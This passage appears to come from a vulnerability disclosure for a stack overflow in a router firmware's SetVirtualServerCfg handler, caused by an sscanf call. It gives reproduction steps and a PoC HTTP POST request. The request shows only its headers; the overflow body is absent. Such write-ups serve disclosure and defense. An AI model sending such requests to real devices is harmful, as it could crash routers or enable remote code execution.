



After that, a2 is assigned to v5, and then the matched content in v5 is directly formatted into the stack of v10, v11, v12 and v9 through the function sscanf through regular expression. There is a stack overflow vulnerability. The attacker can easily perform a Deny of Service Attack or Remote Code Execution with carefully crafted overflow data.

4. Recurring vulnerabilities and POC

In order to reproduce the vulnerability, the following steps can be followed:

1.Use the fat simulation firmware V15.03.05.19_multi

2.Attack with the following overflow POC attacks

POST /goform/SetVirtualServerCfg HTTP/1.1

Host: 192.168.0.1

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101

Firefox/91.0 Accept: */*

Accept-Language: zh-CN, zh; q=0.8, zh-TW; q=0.7, zh-HK; q=0.5, en-US; q=0.3, en; q=0.2

Accept-Encoding: gzip, deflate

Content-Type: application/x-www-form-urlencoded; charset=UTF-8

X-Requested-With: XMLHttpRequest

Content-Length: 3948

Origin: http://192.168.0.1

Connection: close

Referer: http://192.168.0.1/virtual_server.html?random=0.7408089369037358&

Cookie:password=0d403f6ad9aea37a98da9255140dbf6egaacvb



This PoC can result in a Dos.